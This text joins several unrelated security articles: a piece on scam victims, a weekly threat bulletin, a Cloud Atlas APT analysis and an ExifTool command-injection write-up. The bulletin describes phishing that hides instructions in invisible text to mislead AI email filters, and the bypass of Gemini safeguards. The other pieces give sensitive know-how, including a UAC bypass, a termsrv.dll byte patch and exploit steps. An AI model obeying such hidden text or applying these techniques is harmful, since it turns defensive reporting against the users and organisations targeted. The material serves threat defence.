But money is far from the only problem a victim is left with after an attack. After what they’ve been through, people develop distrust toward incoming messages, unfamiliar numbers, and any requests for action. As a result, 99% of fraud victims say they no longer trust incoming notifications in messaging apps.
This creates a crisis of trust in all digital channels in general. Every legitimate message can now be perceived as a scam. Brands, banks, and delivery services are forced to operate in an environment where the customer is, by default, in a state of distrust.
Dr. Elizabeth Carter, a forensic linguist and criminologist at Kingston University in London, notes that scammers use familiar contexts, common social settings and embedded linguistic norms to create the illusion for the victim that their decision-making is rational and reasonable in the moment. However, what is actually happening is that they construct false realities in which those decisions end up causing financial and psychological harm. She also notes that it is very hard to identify a false reality while you are in it.
After realizing they had been deceived, more than half of victims felt anger — the kind that comes from having trusted something and discovering it was used against you. 42% of victims report frustration, 38% — feeling upset. Moreover, several months later, these feelings haven’t gone away: nearly half of all victims (48%) are still angry, a third (33%) remain frustrated, and 30% are upset.
And nearly one in 10 victims don’t tell anyone what happened. They feel shame, a sense of having fallen for something so obvious. This leaves a significant portion of the actual damage unreported: only 24% of victims contact the police, and only 23% report it to their bank.
So what can be done?
The crisis of trust — and even a touch of paranoia — that has arisen due to widespread attacks on users can linger in victims’ minds for a long time, affecting their quality of life. To prevent this, follow these guidelines:
Pause before you act. The sense of urgency you feel is almost always artificial. A legitimate bank, retailer, or delivery service won’t penalize you for taking 30 seconds to verify before clicking a link or confirming details. It’s precisely this instinct to resolve the situation quickly that scammers are counting on.
Verify through another channel. If a message appears to be from a relative, colleague, or company you trust — contact them through another channel before taking any action. Use secure verification methods, and cross-check identities when something doesn’t feel right. For families, agreeing on a “safe word” in advance can defeat even the most convincing voice clones.
Use a password manager. It will not only help you generate strong, unique passwords for all your accounts and store them securely, syncing them across all your devices, but also protect you from spoofed sites. Even if you click a phishing link and land on such a site, our password manager will notify you about the domain mismatch and refuse to autofill your username and password.
Use protection that works in real time. Modern security solutions, such as Kaspersky Premium, provide real-time protection against malicious links and phishing attempts in the apps and websites you use every day. On Android devices, a dedicated layer of anti-phishing security scans and neutralizes suspicious links as they appear, even within notifications, before you even have a chance to click them.
We’ve covered other threats in messaging apps in similar articles:
For the latest discoveries in cyber research for the week of 25th May, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
7-Eleven, the global convenience store chain, confirmed a breach after an unauthorized access to systems used for franchisee documents. ShinyHunters claimed responsibility and said it stole more than 600,000 Salesforce records containing personal and corporate information, with affected individuals offered identity protection services.
Code hosting platform GitHub has suffered a breach after attackers weaponized a Visual Studio Code extension to compromise an employee device and steal internal source code. The company estimated about 3,800 internal repositories were exfiltrated, with no evidence of impact on customer-facing systems.
Grafana Labs, an open-source observability software company, disclosed a breach after a compromised GitHub token allowed intruders to access parts of its source code. The company reports that it has refused to pay ransom to the attackers and claims no customer data exposure or service disruption.
The FBI warns about Kali365, a phishing-as-a-service kit that is actively being used to target Americans and is distributed mainly through Telegram. The platform targets Microsoft 365 users with device-code phishing, captures OAuth access and refresh tokens, and enables persistent access to Outlook, Teams, and OneDrive while bypassing MFA.
AI THREATS
Check Point Research released the March-April 2026 AI Threat Landscape digest and demonstrated that AI-driven attacks have entered routine criminal use, citing a campaign where a single operator used commercial AI to compromise nine Mexican government agencies and execute over 5,000 automated commands. It also notes malicious configuration files that override safety controls, commercialized toolkits, and stolen API keys enabling abuse.
Researchers identified phishing campaigns that use indirect prompt injections to evade AI-powered email filters. Attackers embed invisible text inside messages, using zero-size fonts or background-matched colors, so recipients see ordinary content while AI scanning tools process attacker instructions during automated security review.
Researchers unveiled an AI-driven influence and fraud campaign run by a Russian-speaking actor behind a MAGA-themed Telegram channel with 17,000 subscribers. The operator bypassed Gemini safeguards to automate propaganda and credential theft, used stolen API keys, cracked WordPress accounts, and drained a crypto wallet.
VULNERABILITIES AND PATCHES
Microsoft published fixes for CVE-2026-41091 and CVE-2026-45498, two actively exploited Windows Defender flaws affecting the Malware Protection Engine and Defender Antimalware Platform. The first allows local privilege escalation, while the second can cause denial of service, with updated components released automatically through normal Defender updates.
Trend Micro addressed CVE-2026-34926, a directory traversal flaw in Apex One on-premises servers that allows attackers with administrator access push malicious code to endpoints. Exploitation attempts were observed against Windows systems, and the issue affects the enterprise endpoint security platform in corporate deployments
Drupal released emergency patches for CVE-2026-9082, a critical SQL injection flaw affecting Drupal sites using PostgreSQL. Successful exploitation can allow database command execution, potentially leading to data theft or code execution. Active attacks were reported shortly after disclosure across thousands of sites.
Check Point IPS provides protection against this threat (Drupal Core SQL Injection (CVE-2026-9082))
THREAT INTELLIGENCE REPORTS
Check Point Research has revealed new campaigns of Nimbus Manticore, an IRGC-linked group that resurfaced during Operation Epic Fury with upgraded techniques. The campaigns use SEO poisoning and career-themed phishing across the United States, Europe, and the Middle East, and then delivered a new MiniFast backdoor.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point researchers have highlighted a 124% surge in hacktivism and ransomware across Germany, Austria, and Switzerland in 2025. Germany accounted for most incidents, while hacktivists drove defacements and DDoS attacks, and ransomware activity was led by Akira, Qilin, and Safepay.
Researchers have uncovered Showboat, a Linux malware family used against international telecommunications providers. The modular post-exploitation framework can hide processes, transfer files, spawn remote shells, and operate as a SOCKS5 proxy. The activity is attributed to China-aligned threat actors.
Researchers uncovered a supply chain attack on Laravel Lang localization packages via Composer, where attackers rewrote GitHub tags to point to malicious commits. The campaign deployed a cross-platform credential stealer targeting cloud keys, developer tokens, and browser passwords across hundreds of package versions.
Researchers identified large-scale abuse of Middle Eastern telecom and hosting networks, with more than 1,350 active command-and-control servers across 98 providers. Linked activity included Phorpiex, Eagle Werewolf espionage, exploitation of a React Native CLI flaw, and RondoDox botnet activity at significant scale.
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
Technical details
Initial infection
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
Step
Action
Description
1
Drops “$temp\fixed.ps1”
Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2
Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3
Downloads and drops “$temp\rar.zip”
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6
Opens extracted decoy document “*.pdf” with user’s default software
User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6
Executes “taskkill.exe /F /Im winrar.exe”
Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7
Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk”
Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8
Executes “$temp\fixed.ps1”
Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.
Fixed.ps1 (loader)
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Fixed.ps1::Payload (VBCloud dropper)
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.
Fixed.ps1::Payload (PowerShower)
This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:
Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).
PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.
Contents of the googleearth.ps1(PowerShower)
PowerShower::Payload (credential grabber)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.
The full launch chain looks like this:
The full Base64-decoded script is given below.
Multi-user RDP by patching termsrv.dll
Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
Reverse SSH tunneling
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.
We’ve seen three types of scripts:
Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Patched OpenSSH
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
RevSocks
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
Tor tunneling
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
PowerCloud
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Browser checker
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
Victims
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB
However, TTPs are still differentiated.
Conclusion
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.
ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.
This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.
Technical details
Disclaimer
Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.
Tracing the vulnerable sink
Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.
Finding an unsanitized date value
The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).
In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.
This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.
The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.
Planning the payload delivery
Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:
To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
To copy or move metadata, the -tagsFromFile feature is used.
To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.
Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.
Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.
When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.
Bypassing the filter
To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.
That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value. The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:
Triggering the exploit
To inject commands, we have to revisit the single quote injection into this datetime related tag.
The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.
The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.
Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.
Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:
Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.
Patch analysis
After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.
1. Replacing string form to argument list form:
#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);
2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.
# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
open(my $oldout, ">&STDOUT");
open(my $olderr, ">&STDERR");
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');
my $result = system(@_);
open(STDOUT, ">&", $oldout);
open(STDERR, ">&", $olderr);
return $result;
}
How to protect against ExifTool vulnerability
It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.
ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.
Conclusions
CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.
Login
